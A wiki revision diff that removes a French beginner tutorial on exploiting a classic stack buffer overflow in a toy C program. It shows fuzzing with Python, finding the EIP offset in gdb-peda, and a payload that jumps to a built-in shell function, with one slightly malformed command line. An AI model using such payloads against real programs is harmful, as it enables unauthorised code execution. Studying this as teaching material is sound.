Ci-dessous, les différences entre deux révisions de la page.
appsysteme:buffer_overflow_basique [2016/03/25 12:36] arkinar créée |
appsysteme:buffer_overflow_basique [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **Le Buffer Overflow classique** | ||
- | |||
- | **1.Présentation** | ||
- | |||
- | Le buffer overflow est le dépassement de la mémoire dans un programme. | ||
- | Il est souvent lié au C du faite que ce langage nécessite de stipuler l'allocation mémoire pour les tailles des variables. | ||
- | |||
- | |||
- | Par exemple : | ||
- | |||
- | <code> | ||
- | char buf[50]; | ||
- | </code> | ||
- | |||
- | La variable buf va pouvoir recevoir jusqu'à 49 caractères (le dernier caractère est le null byte qui est la fin de chaîne \0) | ||
- | |||
- | Si on lui donne plus de 49 caractères elle va déborder, d'où le buffer overflow. | ||
- | |||
- | **2.Exploitation** | ||
- | |||
- | Le but de l'exploitation d'un buffer overflow est de détourner le flux d'exécution du programme pour lui faire exécuter un shell code. | ||
- | |||
- | __2.1 Méthode 1 : Exploitation d'un buffer overflow__ | ||
- | |||
- | Prenons l'exemple d'un programme qui demande le nom de la personne et qui lui print ensuite. | ||
- | |||
- | <code> | ||
- | ./mon_nom wikisecu | ||
- | Votre nom est : wikisecu | ||
- | </code> | ||
- | |||
- | Le but va être de lui envoyer le plus de caractères possibles et voir à quel moment la variable qui contient le nom va déborder. | ||
- | |||
- | Le plus simple est d'utiliser python pour cela. | ||
- | |||
- | <code> | ||
- | `python -c "print 'A'*30"` | ||
- | </code> | ||
- | |||
- | Le resultat de la commande va nous donner 30 fois la lettre A. | ||
- | |||
- | Essayons de nouveau : | ||
- | |||
- | <code> | ||
- | ./mon_nom `python -c "print 'A'*30"` | ||
- | Votre nom est : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ||
- | </code> | ||
- | |||
- | Il faut augmenter le nombre de A jusqu'a obtenir un **Segmentation Fault** qui signifie un plantage du programme | ||
- | |||
- | Dans notre cas cela sera : | ||
- | |||
- | <code> | ||
- | ./mon_nom `python -c "print 'A'*50"` | ||
- | Votre nom est : | ||
- | Segmentation Fault | ||
- | </code> | ||
- | |||
- | Le **Segmentation Fault** signifie aussi que nous avons écraser l'adresse mémoire où le programme à essayer d'aller | ||
- | |||
- | Pour voir ce qu'il se passe en mémoire il faut utiliser GDB-PEDA (version avec des couleurs et moins effrayante de GDB) | ||
- | |||
- | <code> | ||
- | gdb-peda ./mon_nom | ||
- | </code> | ||
- | |||
- | Quelques commandes utiles : | ||
- | |||
- | - "r" pour run | ||
- | |||
- | - "b* adresse" pour mettre un breakpoint(point d'arret) dans le programme (attention à bien faire défiler le programme avec "c" pour continue et non plus "r") | ||
- | |||
- | - "disass fonction" pour désassembler une fonction | ||
- | |||
- | L'adresse "$PC" dans gdb-peda est la prochaine adresse où le programme va jumper. | ||
- | |||
- | Il en est de même pour l'EIP. | ||
- | |||
- | <code> | ||
- | EIP: 0x41414141 ('AAAA') | ||
- | EFLAGS: 0x210282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
- | [-------------------------------------code-------------------------------------] | ||
- | Invalid $PC address: 0x41414141 | ||
- | [------------------------------------stack-------------------------------------] | ||
- | </code> | ||
- | Dans notre cas le but et de trouver à partir de combien de AAAA on ecrit à cette adresse | ||
- | |||
- | Pour info A en hexa donne : \x41 | ||
- | |||
- | On remarque que pour 53*A + AAAA on réécrit la prochaine adresse. | ||
- | |||
- | Pour trouver l'adresse sur laquel jumper , il faut regarder le code. | ||
- | |||
- | On va trouver l'adresse de la fonction shell qui est dans notre programme (dans le cas deux on verra comment mettre notre propre shell). | ||
- | |||
- | Pour cela on va faire | ||
- | <code> | ||
- | disass shell | ||
- | |||
- | gdb-peda$ disass shell | ||
- | Dump of assembler code for function shell: | ||
- | 0x08042345 <+0>: push ebp | ||
- | 0x08042346 <+1>: mov ebp,esp | ||
- | 0x08042348 <+3>: sub esp,0x18 | ||
- | 0x0804234a <+6>: mov DWORD PTR [esp],0x8012340 | ||
- | 0x08042351 <+13>: call 0x8012360 <system@plt> | ||
- | 0x08042356 <+18>: leave | ||
- | 0x08042357 <+19>: ret | ||
- | End of assembler dump. | ||
- | </code> | ||
- | |||
- | Attention l'adresse est en little endian. | ||
- | |||
- | C'est à dire que l'adresse \x01\x02\x03\x04 s'écrira \x04\x03\x02\x01 | ||
- | |||
- | On retourne dans le terminal et on va dire à notre programme d'aller jumper dans la fonction shell : | ||
- | |||
- | (on rajoute cat pour avoir la main une fois le buffer overflow effectué) | ||
- | |||
- | <code> | ||
- | ./mon_nom `python -c 'print "A"*53 +"\x45\x23\x04\x08" ' ;cat | ||
- | </code> | ||
- | |||
- | On peut désormais écrire des commandes avec l'utilisateur du programme. | ||
- | |||
- | |||
- | **3.Comment se protéger** | ||
- | |||
- | Il faut appliquer les bonnes pratiques de codes ainsi qu'une bonne hygiène de développement. | ||